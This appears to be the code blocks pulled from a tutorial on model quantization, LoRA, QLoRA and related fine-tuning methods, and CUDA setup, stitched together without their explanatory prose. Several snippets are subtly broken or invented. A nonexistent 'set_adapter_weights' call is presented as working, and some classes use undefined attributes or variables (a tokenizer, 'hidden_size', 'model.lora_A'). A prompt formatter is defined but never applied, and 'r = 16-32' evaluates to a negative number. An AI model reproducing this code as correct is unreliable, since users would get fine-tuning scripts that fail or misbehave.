converter.optimizations = [tf.lite.Optimize.DEFAULT]

# Full integer quantization
def representative_dataset():
    for data in calibration_data:
        yield [data]

converter.representative_dataset = representative_dataset
converter.target_spec.supported_ops = [tf.lite.OpsSet.TFLITE_BUILTINS_INT8]
converter.inference_input_type = tf.int8
converter.inference_output_type = tf.int8

tflite_model = converter.convert()

# Save
with open('model_quantized.tflite', 'wb') as f:
    f.write(tflite_model)

from onnxruntime.quantization import quantize_dynamic, QuantType

model_input = 'model.onnx'
model_output = 'model_quantized.onnx'

quantize_dynamic(
    model_input,
    model_output,
    weight_type=QuantType.QInt8
)

import coremltools as ct

# Convert PyTorch to CoreML with quantization
traced_model = torch.jit.trace(model, example_input)
coreml_model = ct.convert(
    traced_model,
    inputs=[ct.TensorType(shape=example_input.shape)],
    convert_to="neuralnetwork",
    minimum_deployment_target=ct.target.iOS14
)

# Quantize to INT8
model_int8 = ct.quantize_weights(coreml_model, nbits=8)
model_int8.save("model_quantized.mlmodel")

import torch.quantization
# Built-in, well-integrated with PyTorch ecosystem
# Supports dynamic, static, and QAT

import tensorflow as tf
# Excellent mobile support via TFLite
# Supports post-training and QAT

from onnxruntime.quantization import quantize_dynamic
# Framework-agnostic
# Good for cross-platform deployment

import bitsandbytes as bnb
# Specialized for LLMs
# Supports 4-bit, 8-bit quantization
# LLM.int8() and NF4

from auto_gptq import AutoGPTQForCausalLM
# State-of-the-art LLM quantization
# GPTQ algorithm implementation

from awq import AutoAWQForCausalLM
# Activation-aware quantization
# Often better than GPTQ for inference

from neural_compressor import Quantization
# Comprehensive quantization toolkit
# Supports multiple frameworks

import tensorrt as trt
# High-performance inference
# INT8/FP16 optimization

W_finetuned = W_pretrained + ΔW

W_finetuned = W_pretrained + B·A

ΔW = BA

h = Wx

h = Wx + BAx = Wx + (BA)x

h = Wx + (α/r)·BAx

Memory for gradients: O(r·(d+k)) vs O(d·k)
Update computation: O(r·(d+k)) vs O(d·k)

ΔW = UΣV^T

┌─────────────────────────────────┐
│    Original Transformer Layer    │
├─────────────────────────────────┤
│                                 │
│  ┌──────────────┐               │
│  │ Pre-trained  │ (Frozen)      │
│  │   Weights W  │────┐          │
│  └──────────────┘    │          │
│                      ▼          │
│  ┌──────┐  ┌──────┐  ┌────┐    │
│  │  B   │  │  A   │  │ +  │───▶│ Output
│  │ (d×r)│─▶│ (r×k)│─▶│    │    │
│  └──────┘  └──────┘  └────┘    │
│  Trainable  Trainable    ^      │
│                          │      │
│                        Input    │
│                                 │
└─────────────────────────────────┘

# LoRA initialization (standard approach)
def init_lora_weights(A, B, r):
    # Initialize A with random Gaussian
    nn.init.kaiming_uniform_(A, a=math.sqrt(5))

    # Initialize B to zero
    nn.init.zeros_(B)

    # This ensures ΔW = BA = 0 at initialization
    # Model starts with pre-trained behavior

┌─────────────────────────────────────┐
│         QLoRA Architecture          │
├─────────────────────────────────────┤
│                                     │
│  ┌──────────────────┐               │
│  │ Pre-trained      │               │
│  │ Weights W        │               │
│  │ (Quantized 4-bit)│───┐           │
│  └──────────────────┘   │           │
│        (Frozen)          ▼           │
│                     Dequantize       │
│                          │           │
│                          ▼           │
│  ┌──────┐  ┌──────┐  ┌────┐         │
│  │  B   │  │  A   │  │ +  │────▶    │
│  │(FP16)│─▶│(FP16)│─▶│    │    Output│
│  └──────┘  └──────┘  └────┘         │
│  Trainable  Trainable                │
│                                      │
└──────────────────────────────────────┘

import torch
import bitsandbytes as bnb

# NF4 quantization process
def quantize_nf4(weights):
    """
    Quantize weights to 4-bit NormalFloat
    """
    # Compute normalization constants
    absmax = torch.max(torch.abs(weights))

    # NF4 quantization bins (optimized for normal distribution)
    nf4_bins = [
        -1.0, -0.6961928009986877, -0.5250730514526367,
        -0.39491748809814453, -0.28444138169288635,
        -0.18477343022823334, -0.09105003625154495,
        0.0, 0.07958029955625534, 0.16093020141124725,
        0.24611230194568634, 0.33791524171829224,
        0.44070982933044434, 0.5626170039176941,
        0.7229568362236023, 1.0
    ]

    # Map weights to nearest bin
    normalized = weights / absmax
    quantized = torch.zeros_like(weights, dtype=torch.uint8)

    for i, val in enumerate(normalized.flatten()):
        # Find closest bin
        idx = min(range(len(nf4_bins)),
                 key=lambda i: abs(nf4_bins[i] - val))
        quantized.view(-1)[i] = idx

    return quantized, absmax

# Dequantization
def dequantize_nf4(quantized, absmax, nf4_bins):
    """
    Dequantize NF4 back to float16
    """
    dequantized = torch.zeros_like(quantized, dtype=torch.float16)

    for i, idx in enumerate(quantized.flatten()):
        dequantized.view(-1)[i] = nf4_bins[idx] * absmax

    return dequantized

from peft import LoraConfig, get_peft_model
from transformers import AutoModelForCausalLM

# Load base model
model = AutoModelForCausalLM.from_pretrained("meta-llama/Llama-2-7b-hf")

# Configure LoRA
lora_config = LoraConfig(
    r=16,                      # Rank
    lora_alpha=32,             # Scaling factor
    target_modules=["q_proj", "v_proj"],  # Which layers to adapt
    lora_dropout=0.05,
    bias="none",
    task_type="CAUSAL_LM"
)

# Apply LoRA
model = get_peft_model(model, lora_config)
model.print_trainable_parameters()
# Output: trainable params: 4,194,304 || all params: 6,742,609,920 || trainable%: 0.06%

# Train normally
# ... training loop ...

# Save adapter weights only
model.save_pretrained("./lora_medical_qa")

from peft import PeftModel

# Load base model
base_model = AutoModelForCausalLM.from_pretrained("base-model")

# Load different adapters for different tasks
medical_model = PeftModel.from_pretrained(base_model, "./lora_medical")
legal_model = PeftModel.from_pretrained(base_model, "./lora_legal")
code_model = PeftModel.from_pretrained(base_model, "./lora_code")

# Use different adapters
def generate_medical(prompt):
    return medical_model.generate(prompt)

def generate_legal(prompt):
    return legal_model.generate(prompt)

# Or dynamically swap adapters
model = PeftModel.from_pretrained(base_model, "./lora_medical")
output1 = model.generate(medical_prompt)

model.set_adapter("legal")  # Switch adapter
output2 = model.generate(legal_prompt)

# Phase 1: Quick exploration with low rank
config_phase1 = LoraConfig(r=4, lora_alpha=8, ...)
model = get_peft_model(base_model, config_phase1)
# Train for few epochs to validate approach

# Phase 2: Higher rank for better performance
config_phase2 = LoraConfig(r=32, lora_alpha=64, ...)
model = get_peft_model(base_model, config_phase2)
# Train to convergence

# Target only attention in middle layers
lora_config = LoraConfig(
    r=16,
    target_modules=[
        "model.layers.12.self_attn.q_proj",
        "model.layers.12.self_attn.v_proj",
        "model.layers.13.self_attn.q_proj",
        "model.layers.13.self_attn.v_proj",
        # ... layers 12-20 only
    ],
    # Or use regex patterns
    # target_modules=r".*layers\.(1[2-9]|20)\.self_attn\.(q|v)_proj",
)

from peft import PeftModel

# Load base model and adapter
base_model = AutoModelForCausalLM.from_pretrained("base-model")
peft_model = PeftModel.from_pretrained(base_model, "./lora_adapter")

# Merge adapter into base weights
merged_model = peft_model.merge_and_unload()

# Save as standard model (no LoRA dependency)
merged_model.save_pretrained("./merged_model")

# Now can be used without PEFT library
from transformers import AutoModelForCausalLM
model = AutoModelForCausalLM.from_pretrained("./merged_model")

from peft import PeftModel

base_model = AutoModelForCausalLM.from_pretrained("base-model")

# Load and combine multiple adapters
model = PeftModel.from_pretrained(base_model, "./lora_instruction", adapter_name="instruction")
model.load_adapter("./lora_style", adapter_name="style")
model.load_adapter("./lora_domain", adapter_name="domain")

# Use weighted combination
model.set_adapter(["instruction", "style", "domain"])
model.set_adapter_weights([0.5, 0.3, 0.2])  # Weighted mix

# Generate with combined capabilities
output = model.generate(prompt)

import torch
from transformers import AutoTokenizer, AutoModelForCausalLM, TrainingArguments, Trainer
from peft import LoraConfig, get_peft_model
from datasets import load_dataset

# Load model and tokenizer
model_name = "meta-llama/Llama-2-7b-hf"
model = AutoModelForCausalLM.from_pretrained(
    model_name,
    torch_dtype=torch.float16,
    device_map="auto"
)
tokenizer = AutoTokenizer.from_pretrained(model_name)

# Configure LoRA
lora_config = LoraConfig(
    r=8,
    lora_alpha=16,
    target_modules=["q_proj", "k_proj", "v_proj", "o_proj"],
    lora_dropout=0.05,
    bias="none",
    task_type="CAUSAL_LM"
)

# Apply LoRA
model = get_peft_model(model, lora_config)

# Load and prepare dataset
dataset = load_dataset("your_dataset")

def tokenize_function(examples):
    return tokenizer(examples["text"], truncation=True, max_length=512)

tokenized_dataset = dataset.map(tokenize_function, batched=True)

# Training arguments
training_args = TrainingArguments(
    output_dir="./lora_output",
    per_device_train_batch_size=4,
    gradient_accumulation_steps=4,
    num_train_epochs=3,
    learning_rate=2e-4,
    fp16=True,
    logging_steps=10,
    save_steps=100,
    save_total_limit=2,
)

# Trainer
trainer = Trainer(
    model=model,
    args=training_args,
    train_dataset=tokenized_dataset["train"],
    eval_dataset=tokenized_dataset["validation"],
)

# Train
trainer.train()

# Save LoRA adapter
model.save_pretrained("./final_lora_adapter")

import torch
from transformers import AutoModelForCausalLM, BitsAndBytesConfig
from peft import prepare_model_for_kbit_training, LoraConfig, get_peft_model

# Configure 4-bit quantization
bnb_config = BitsAndBytesConfig(
    load_in_4bit=True,
    bnb_4bit_use_double_quant=True,      # Double quantization
    bnb_4bit_quant_type="nf4",           # NormalFloat4
    bnb_4bit_compute_dtype=torch.bfloat16  # Compute in BF16
)

# Load model in 4-bit
model = AutoModelForCausalLM.from_pretrained(
    "meta-llama/Llama-2-70b-hf",
    quantization_config=bnb_config,
    device_map="auto",
    trust_remote_code=True
)

# Prepare for k-bit training
model = prepare_model_for_kbit_training(model)

# Configure LoRA
lora_config = LoraConfig(
    r=64,                      # Higher rank for large models
    lora_alpha=128,
    target_modules=["q_proj", "k_proj", "v_proj", "o_proj",
                    "gate_proj", "up_proj", "down_proj"],
    lora_dropout=0.05,
    bias="none",
    task_type="CAUSAL_LM"
)

# Apply LoRA
model = get_peft_model(model, lora_config)

# Rest of training is identical to standard LoRA
# ... training loop ...

from peft import PeftModel
from transformers import AutoModelForCausalLM, AutoTokenizer

# Load base model
base_model = AutoModelForCausalLM.from_pretrained(
    "base-model",
    torch_dtype=torch.float16,
    device_map="auto"
)

# Load LoRA adapter
model = PeftModel.from_pretrained(base_model, "./lora_adapter")

# Load tokenizer
tokenizer = AutoTokenizer.from_pretrained("base-model")

# Generate
prompt = "Explain quantum computing in simple terms:"
inputs = tokenizer(prompt, return_tensors="pt").to("cuda")

with torch.no_grad():
    outputs = model.generate(
        **inputs,
        max_new_tokens=200,
        temperature=0.7,
        top_p=0.9,
        do_sample=True
    )

response = tokenizer.decode(outputs[0], skip_special_tokens=True)
print(response)

from peft import PeftModel

# Load model with adapter
base_model = AutoModelForCausalLM.from_pretrained("base-model")
peft_model = PeftModel.from_pretrained(base_model, "./lora_adapter")

# Method 1: Merge and unload (creates new model)
merged_model = peft_model.merge_and_unload()
merged_model.save_pretrained("./merged_model")

# Method 2: Merge in place (modifies base model)
peft_model.merge_adapter()
# Now peft_model has merged weights

# Method 3: Unmerge (reverse the merge)
peft_model.unmerge_adapter()
# Back to base weights + adapter separation

# Save adapter only (efficient)
model.save_pretrained("./my_lora_adapter")
# Creates: adapter_config.json, adapter_model.bin (~10-100 MB)

# Save with optimizer state for resuming training
trainer.save_model("./checkpoint_dir")
# Creates: adapter files + optimizer state + training state

# Load for inference
from peft import PeftModel
model = AutoModelForCausalLM.from_pretrained("base-model")
model = PeftModel.from_pretrained(model, "./my_lora_adapter")

# Load for continued training
model = AutoModelForCausalLM.from_pretrained("base-model")
model = PeftModel.from_pretrained(model, "./checkpoint_dir", is_trainable=True)

# For large models, load in 8-bit
from transformers import AutoModelForCausalLM
import torch

model = AutoModelForCausalLM.from_pretrained(
    "large-model",
    load_in_8bit=True,           # 8-bit quantization
    device_map="auto",           # Automatic device placement
    torch_dtype=torch.float16
)

# Or use model sharding across GPUs
model = AutoModelForCausalLM.from_pretrained(
    "large-model",
    device_map="balanced",       # Balance across GPUs
    torch_dtype=torch.float16
)

from peft import LoraConfig

config = LoraConfig(
    # Core LoRA parameters
    r=8,                           # Rank of adaptation matrices
    lora_alpha=16,                 # Scaling factor (often 2*r)
    target_modules=["q_proj", "v_proj"],  # Modules to apply LoRA
    lora_dropout=0.1,              # Dropout for LoRA layers

    # Bias handling
    bias="none",                   # "none", "all", "lora_only"

    # Task type
    task_type="CAUSAL_LM",         # "CAUSAL_LM", "SEQ_CLS", "SEQ_2_SEQ_LM", etc.

    # Advanced options
    fan_in_fan_out=False,          # For Conv1D layers (GPT-2)
    modules_to_save=None,          # Additional modules to train fully

    # Initialization
    init_lora_weights=True,        # Initialize LoRA weights
    layers_to_transform=None,      # Specific layers (None = all)
    layers_pattern=None,           # Regex pattern for layers
)

# Minimal (fastest training, least parameters)
target_modules=["q_proj", "v_proj"]

# Balanced (recommended for most cases)
target_modules=["q_proj", "k_proj", "v_proj", "o_proj"]

# Maximum (best performance, more parameters)
target_modules=[
    "q_proj", "k_proj", "v_proj", "o_proj",  # Attention
    "gate_proj", "up_proj", "down_proj"       # FFN
]

# Using patterns (for specific architectures)
target_modules=r".*\.(q_proj|v_proj|k_proj|o_proj)"

from transformers import TrainingArguments

training_args = TrainingArguments(
    # Output
    output_dir="./lora_training",

    # Batch size and accumulation
    per_device_train_batch_size=4,     # Adjust based on GPU memory
    gradient_accumulation_steps=4,      # Effective batch = 4 * 4 = 16

    # Learning rate
    learning_rate=2e-4,                 # LoRA: 1e-4 to 3e-4 typical
    lr_scheduler_type="cosine",         # "linear", "cosine", "constant"
    warmup_ratio=0.03,                  # 3% warmup

    # Training duration
    num_train_epochs=3,
    max_steps=-1,                       # Use epochs instead

    # Optimization
    optim="adamw_torch",                # "adamw_torch", "adamw_8bit", "paged_adamw_8bit"
    weight_decay=0.01,
    max_grad_norm=1.0,                  # Gradient clipping

    # Precision
    fp16=True,                          # Use FP16 (V100, RTX)
    bf16=False,                         # Use BF16 (A100, H100)

    # Logging and saving
    logging_steps=10,
    save_steps=100,
    save_total_limit=2,                 # Keep only 2 checkpoints
    evaluation_strategy="steps",
    eval_steps=100,

    # Performance
    dataloader_num_workers=4,
    dataloader_pin_memory=True,
    group_by_length=True,               # Group similar lengths
)

lora_config = LoraConfig(r=4, lora_alpha=8, target_modules=["q_proj", "v_proj"])
training_args = TrainingArguments(num_train_epochs=1, learning_rate=3e-4)

lora_config = LoraConfig(
    r=16,
    lora_alpha=32,
    target_modules=["q_proj", "k_proj", "v_proj", "o_proj"],
    lora_dropout=0.05
)
training_args = TrainingArguments(
    num_train_epochs=3,
    learning_rate=2e-4,
    per_device_train_batch_size=4,
    gradient_accumulation_steps=4
)

lora_config = LoraConfig(
    r=64,
    lora_alpha=128,
    target_modules=["q_proj", "k_proj", "v_proj", "o_proj",
                    "gate_proj", "up_proj", "down_proj"],
    lora_dropout=0.05
)
bnb_config = BitsAndBytesConfig(
    load_in_4bit=True,
    bnb_4bit_quant_type="nf4",
    bnb_4bit_compute_dtype=torch.bfloat16
)

import torch
from transformers import AutoTokenizer, AutoModelForCausalLM, TrainingArguments
from peft import LoraConfig, get_peft_model, prepare_model_for_kbit_training
from datasets import load_dataset
from trl import SFTTrainer

# Load model in 4-bit
model = AutoModelForCausalLM.from_pretrained(
    "meta-llama/Llama-2-7b-hf",
    load_in_4bit=True,
    torch_dtype=torch.float16,
    device_map="auto"
)

tokenizer = AutoTokenizer.from_pretrained("meta-llama/Llama-2-7b-hf")
tokenizer.pad_token = tokenizer.eos_token

# Prepare for training
model = prepare_model_for_kbit_training(model)

# LoRA configuration
lora_config = LoraConfig(
    r=16,
    lora_alpha=32,
    target_modules=["q_proj", "k_proj", "v_proj", "o_proj"],
    lora_dropout=0.05,
    bias="none",
    task_type="CAUSAL_LM"
)

model = get_peft_model(model, lora_config)

# Load instruction dataset
dataset = load_dataset("timdettmers/openassistant-guanaco")

# Format prompts
def format_instruction(example):
    if example.get("input"):
        return f"""### Instruction:
{example['instruction']}

### Input:
{example['input']}

### Response:
{example['output']}"""
    else:
        return f"""### Instruction:
{example['instruction']}

### Response:
{example['output']}"""

# Training
trainer = SFTTrainer(
    model=model,
    train_dataset=dataset["train"],
    dataset_text_field="text",
    max_seq_length=512,
    tokenizer=tokenizer,
    args=TrainingArguments(
        output_dir="./llama-instruction-lora",
        per_device_train_batch_size=4,
        gradient_accumulation_steps=4,
        warmup_steps=100,
        num_train_epochs=3,
        learning_rate=2e-4,
        fp16=True,
        logging_steps=10,
        save_steps=500,
    ),
)

trainer.train()
model.save_pretrained("./llama-instruction-lora-final")

from peft import PeftModel, LoraConfig, get_peft_model
from transformers import AutoModelForCausalLM
import torch

class MultiTaskLoRAModel:
    def __init__(self, base_model_name):
        self.base_model = AutoModelForCausalLM.from_pretrained(
            base_model_name,
            torch_dtype=torch.float16,
            device_map="auto"
        )
        self.adapters = {}
        self.current_adapter = None

    def add_adapter(self, name, adapter_path=None, config=None):
        """Add a new adapter"""
        if adapter_path:
            # Load existing adapter
            self.adapters[name] = adapter_path
        elif config:
            # Create new adapter for training
            model = get_peft_model(self.base_model, config)
            self.adapters[name] = model

    def switch_adapter(self, name):
        """Switch to a different adapter"""
        if name not in self.adapters:
            raise ValueError(f"Adapter {name} not found")

        adapter_path = self.adapters[name]
        self.current_model = PeftModel.from_pretrained(
            self.base_model,
            adapter_path
        )
        self.current_adapter = name

    def generate(self, prompt, **kwargs):
        """Generate with current adapter"""
        if self.current_adapter is None:
            raise ValueError("No adapter selected")

        inputs = self.tokenizer(prompt, return_tensors="pt").to("cuda")
        outputs = self.current_model.generate(**inputs, **kwargs)
        return self.tokenizer.decode(outputs[0], skip_special_tokens=True)

# Usage
manager = MultiTaskLoRAModel("meta-llama/Llama-2-7b-hf")

# Add adapters
manager.add_adapter("medical", "./lora_medical")
manager.add_adapter("legal", "./lora_legal")
manager.add_adapter("code", "./lora_code")

# Use different adapters
manager.switch_adapter("medical")
medical_response = manager.generate("What are symptoms of diabetes?")

manager.switch_adapter("code")
code_response = manager.generate("Write a Python function to sort a list")

import torch
from torch.utils.data import DataLoader
from transformers import AutoModelForCausalLM, AutoTokenizer, get_linear_schedule_with_warmup
from peft import LoraConfig, get_peft_model
from tqdm import tqdm

# Setup
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
model_name = "gpt2-medium"

# Load model
model = AutoModelForCausalLM.from_pretrained(model_name)
tokenizer = AutoTokenizer.from_pretrained(model_name)
tokenizer.pad_token = tokenizer.eos_token

# Apply LoRA
lora_config = LoraConfig(
    r=8,
    lora_alpha=16,
    target_modules=["c_attn"],  # GPT-2 attention
    lora_dropout=0.1,
    bias="none",
    task_type="CAUSAL_LM"
)
model = get_peft_model(model, lora_config)
model.to(device)

# Prepare data (example)
train_dataset = ...  # Your dataset
train_dataloader = DataLoader(train_dataset, batch_size=8, shuffle=True)

# Optimizer and scheduler
optimizer = torch.optim.AdamW(model.parameters(), lr=2e-4, weight_decay=0.01)
num_training_steps = len(train_dataloader) * 3  # 3 epochs
scheduler = get_linear_schedule_with_warmup(
    optimizer,
    num_warmup_steps=100,
    num_training_steps=num_training_steps
)

# Training loop
model.train()
for epoch in range(3):
    epoch_loss = 0
    progress_bar = tqdm(train_dataloader, desc=f"Epoch {epoch+1}")

    for batch in progress_bar:
        # Prepare inputs
        inputs = {k: v.to(device) for k, v in batch.items()}

        # Forward pass
        outputs = model(**inputs, labels=inputs["input_ids"])
        loss = outputs.loss

        # Backward pass
        loss.backward()

        # Gradient clipping
        torch.nn.utils.clip_grad_norm_(model.parameters(), max_norm=1.0)

        # Optimizer step
        optimizer.step()
        scheduler.step()
        optimizer.zero_grad()

        # Logging
        epoch_loss += loss.item()
        progress_bar.set_postfix({"loss": loss.item(), "lr": scheduler.get_last_lr()[0]})

    print(f"Epoch {epoch+1} - Average Loss: {epoch_loss / len(train_dataloader):.4f}")

# Save adapter
model.save_pretrained("./custom_trained_lora")

import torch
from transformers import AutoModelForCausalLM, AutoTokenizer
from peft import PeftModel
from datasets import load_dataset
from tqdm import tqdm
import numpy as np

def evaluate_perplexity(model, tokenizer, dataset, max_samples=100):
    """Evaluate model perplexity on dataset"""
    model.eval()
    total_loss = 0
    total_tokens = 0

    with torch.no_grad():
        for i, example in enumerate(tqdm(dataset)):
            if i >= max_samples:
                break

            inputs = tokenizer(example["text"], return_tensors="pt",
                             truncation=True, max_length=512).to("cuda")

            outputs = model(**inputs, labels=inputs["input_ids"])
            loss = outputs.loss

            total_loss += loss.item() * inputs["input_ids"].size(1)
            total_tokens += inputs["input_ids"].size(1)

    perplexity = np.exp(total_loss / total_tokens)
    return perplexity

# Load base model
base_model = AutoModelForCausalLM.from_pretrained("gpt2", device_map="auto")
tokenizer = AutoTokenizer.from_pretrained("gpt2")
tokenizer.pad_token = tokenizer.eos_token

# Load LoRA model
lora_model = PeftModel.from_pretrained(base_model, "./my_lora_adapter")

# Load test dataset
test_dataset = load_dataset("wikitext", "wikitext-2-raw-v1", split="test")

# Evaluate
print("Evaluating base model...")
base_perplexity = evaluate_perplexity(base_model, tokenizer, test_dataset)
print(f"Base model perplexity: {base_perplexity:.2f}")

print("Evaluating LoRA model...")
lora_perplexity = evaluate_perplexity(lora_model, tokenizer, test_dataset)
print(f"LoRA model perplexity: {lora_perplexity:.2f}")

print(f"Improvement: {((base_perplexity - lora_perplexity) / base_perplexity * 100):.2f}%")

W' = m · (W_dir + ΔW_dir)

from peft import LoraConfig

# Enable DoRA
config = LoraConfig(
    r=16,
    lora_alpha=32,
    use_dora=True,  # Enable DoRA
    target_modules=["q_proj", "v_proj"]
)

from peft import AdaLoraConfig, get_peft_model

config = AdaLoraConfig(
    init_r=12,              # Initial rank
    target_r=8,             # Target rank after pruning
    beta1=0.85,             # Regularization
    beta2=0.85,
    tinit=200,              # Start pruning after tinit steps
    tfinal=1000,            # Final pruning step
    deltaT=10,              # Pruning frequency
    lora_alpha=32,
    lora_dropout=0.1,
    target_modules=["q_proj", "k_proj", "v_proj", "o_proj"],
    task_type="CAUSAL_LM"
)

model = get_peft_model(base_model, config)

# Manual implementation
def get_lora_plus_optimizer(model, lr_B=1e-3, lr_A=1e-4, weight_decay=0.01):
    """
    Create optimizer with different learning rates for A and B matrices
    """
    param_groups = [
        {
            "params": [p for n, p in model.named_parameters()
                      if "lora_B" in n],
            "lr": lr_B,
            "weight_decay": weight_decay
        },
        {
            "params": [p for n, p in model.named_parameters()
                      if "lora_A" in n],
            "lr": lr_A,
            "weight_decay": weight_decay
        },
        {
            "params": [p for n, p in model.named_parameters()
                      if "lora" not in n and p.requires_grad],
            "lr": lr_A,
            "weight_decay": weight_decay
        }
    ]

    return torch.optim.AdamW(param_groups)

# Usage
optimizer = get_lora_plus_optimizer(model, lr_B=2e-4, lr_A=2e-5)

# Conceptual structure (not in standard PEFT yet)
# Shared matrices: A_shared, B_shared
# Per-layer: scaling vectors d_i, b_i

# Forward pass for layer i:
# h = Wx + (d_i ⊙ (B_shared · A_shared · x)) ⊙ b_i

import torch.nn as nn

class MoELoRA(nn.Module):
    def __init__(self, base_model, num_experts=4, r=8):
        super().__init__()
        self.base_model = base_model
        self.num_experts = num_experts

        # Multiple LoRA experts
        self.experts = nn.ModuleList([
            get_peft_model(base_model, LoraConfig(r=r))
            for _ in range(num_experts)
        ])

        # Gating network
        self.gate = nn.Linear(hidden_size, num_experts)

    def forward(self, x):
        # Compute gating scores
        gate_scores = torch.softmax(self.gate(x.mean(dim=1)), dim=-1)

        # Weighted combination of expert outputs
        output = 0
        for i, expert in enumerate(self.experts):
            expert_out = expert(x)
            output += gate_scores[:, i:i+1] * expert_out

        return output

def spectral_regularization_loss(lora_A, lora_B, lambda_reg=0.01):
    """
    Regularize singular values of BA to prevent overfitting
    """
    # Compute product
    W_delta = torch.mm(lora_B, lora_A)

    # SVD
    U, S, V = torch.svd(W_delta)

    # Regularization: encourage low-rank structure
    reg_loss = lambda_reg * torch.sum(S)

    return reg_loss

# Add to training loop
loss = model(**inputs).loss + spectral_regularization_loss(model.lora_A, model.lora_B)

config = LoraConfig(lora_dropout=0.1)  # Dropout in LoRA layers

class StochasticLoRA(nn.Module):
    def __init__(self, lora_layer, drop_prob=0.1):
        super().__init__()
        self.lora = lora_layer
        self.drop_prob = drop_prob

    def forward(self, x):
        if self.training and torch.rand(1).item() < self.drop_prob:
            return 0  # Skip LoRA entirely
        else:
            return self.lora(x)

# Experimentation phase
r = 4  # Quick iterations

# Validation phase
r = 8  # Verify approach works

# Production phase
r = 16-32  # Maximize performance

target_modules=["q_proj", "v_proj"]  # Minimum

target_modules=["q_proj", "k_proj", "v_proj", "o_proj"]  # Recommended

target_modules=["q_proj", "k_proj", "v_proj", "o_proj",
                "gate_proj", "up_proj", "down_proj"]  # All

# LoRA typically needs higher LR than full fine-tuning
learning_rate = 1e-4  # Full fine-tuning typical
learning_rate = 2e-4  # LoRA typical
learning_rate = 3e-4  # LoRA with low rank or complex task

# Goal: Effective batch size of 64-128
per_device_batch_size = 4      # Fit in GPU memory
gradient_accumulation_steps = 16  # Effective batch = 4 * 16 = 64

# Watch for:
# 1. Training loss decreasing steadily
# 2. Validation loss not increasing (no overfitting)
# 3. Gradient norms stable (no exploding/vanishing)
# 4. Learning rate warmup completed

from transformers import TrainerCallback

class MonitorCallback(TrainerCallback):
    def on_log(self, args, state, control, logs=None, **kwargs):
        if logs:
            print(f"Step {state.global_step}:")
            print(f"  Loss: {logs.get('loss', 'N/A'):.4f}")
            print(f"  LR: {logs.get('learning_rate', 'N/A'):.2e}")
            print(f"  Grad Norm: {logs.get('grad_norm', 'N/A'):.4f}")

trainer = Trainer(..., callbacks=[MonitorCallback()])

# Multiple strategies:
lora_config = LoraConfig(
    r=8,                    # Lower rank = less capacity
    lora_dropout=0.1,       # Dropout regularization
)

training_args = TrainingArguments(
    weight_decay=0.01,      # L2 regularization
    max_grad_norm=1.0,      # Gradient clipping
    eval_steps=100,         # Frequent evaluation
    save_total_limit=2,     # Don't save too many checkpoints
)

# Early stopping
from transformers import EarlyStoppingCallback
trainer = Trainer(..., callbacks=[EarlyStoppingCallback(patience=3)])

# When deploying, merge for efficiency
from peft import PeftModel

model = PeftModel.from_pretrained(base_model, "./lora_adapter")
merged_model = model.merge_and_unload()

# Quantize merged model for inference
from transformers import AutoModelForCausalLM

merged_model = AutoModelForCausalLM.from_pretrained(
    "./merged_model",
    load_in_8bit=True,  # or load_in_4bit=True
    device_map="auto"
)

project/
├── base_models/
│   └── llama-2-7b/
├── adapters/
│   ├── v1_medical/
│   │   ├── adapter_config.json
│   │   └── adapter_model.bin
│   ├── v2_medical/
│   └── v1_legal/
├── configs/
│   ├── medical_lora.yaml
│   └── legal_lora.yaml
└── training_logs/

# Bad: r=256 (too high, may overfit)
# Good: r=16 (appropriate for most tasks)

# Bad: tokenizer without pad_token
# Good:
tokenizer.pad_token = tokenizer.eos_token

# Good: Enable gradient checkpointing
model.gradient_checkpointing_enable()

# Minimum: 100-500 examples
# Recommended: 1,000-10,000 examples
# Ideal: 10,000+ high-quality examples

# Always evaluate adapter before merging
eval_results = trainer.evaluate()
if eval_results['eval_loss'] < threshold:
    merged_model = model.merge_and_unload()

def comprehensive_test(model, tokenizer, test_cases):
    """
    Test model on diverse examples
    """
    results = []

    for category, examples in test_cases.items():
        category_results = []

        for example in examples:
            prompt = example['prompt']
            expected = example.get('expected')

            inputs = tokenizer(prompt, return_tensors="pt").to("cuda")
            outputs = model.generate(**inputs, max_new_tokens=100)
            response = tokenizer.decode(outputs[0], skip_special_tokens=True)

            category_results.append({
                'prompt': prompt,
                'response': response,
                'expected': expected,
                'match': expected in response if expected else None
            })

        results.append({
            'category': category,
            'results': category_results,
            'success_rate': sum(1 for r in category_results if r['match']) / len(category_results) if expected else None
        })

    return results

# Usage
test_cases = {
    'medical': [
        {'prompt': 'What is diabetes?', 'expected': 'blood sugar'},
        {'prompt': 'Symptoms of COVID-19?', 'expected': 'fever'}
    ],
    'general': [
        {'prompt': 'Capital of France?', 'expected': 'Paris'}
    ]
}

results = comprehensive_test(model, tokenizer, test_cases)

# Base model (FP16): ~14 GB
# LoRA adapters (r=16): ~50 MB
# Optimizer states: ~100 MB
# Gradients: ~50 MB
# Activations (batch=4): ~2-4 GB
# Total: ~18-20 GB (fits on RTX 4090)

# With 4-bit quantization:
# Base model (NF4): ~3.5 GB
# Total: ~7-9 GB (fits on RTX 3090)

# Check CUDA installation
nvcc --version
nvidia-smi

# Install CUDA Toolkit (Ubuntu)
wget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2204/x86_64/cuda-keyring_1.0-1_all.deb
sudo dpkg -i cuda-keyring_1.0-1_all.deb
sudo apt-get update
sudo apt-get install cuda

# Set environment variables
export PATH=/usr/local/cuda/bin:$PATH
export LD_LIBRARY_PATH=/usr/local/cuda/lib64:$LD_LIBRARY_PATH

# Compile CUDA program
nvcc program.cu -o program

# With optimization
nvcc -O3 program.cu -o program

# Specify architecture
nvcc -arch=sm_80 program.cu -o program

# Debug mode
nvcc -g -G program.cu -o program

# Link with libraries
nvcc program.cu -o program -lcublas -lcudnn

┌─────────────────────────────────────┐
│         GPU Device Memory            │
│  (Global Memory: GB scale)          │
└─────────────────────────────────────┘
            ↑
            │
┌─────────────────────────────────────┐
│           L2 Cache                   │
│        (MB scale)                    │
└─────────────────────────────────────┘
            ↑
            │
┌─────────────────────────────────────┐
│  SM    SM    SM    SM    SM         │
│  ┌─┐  ┌─┐  ┌─┐  ┌─┐  ┌─┐          │
│  │L1│  │L1│  │L1│  │L1│  │L1│      │
│  │/S│  │/S│  │/S│  │/S│  │/S│      │ L1 Cache/Shared Memory
│  │M │  │M │  │M │  │M │  │M │      │ (KB scale per SM)
│  └─┘  └─┘  └─┘  └─┘  └─┘          │
└─────────────────────────────────────┘

// Query device properties
cudaDeviceProp prop;
cudaGetDeviceProperties(&prop, 0);
printf("Device: %s\n", prop.name);
printf("Compute Capability: %d.%d\n", prop.major, prop.minor);
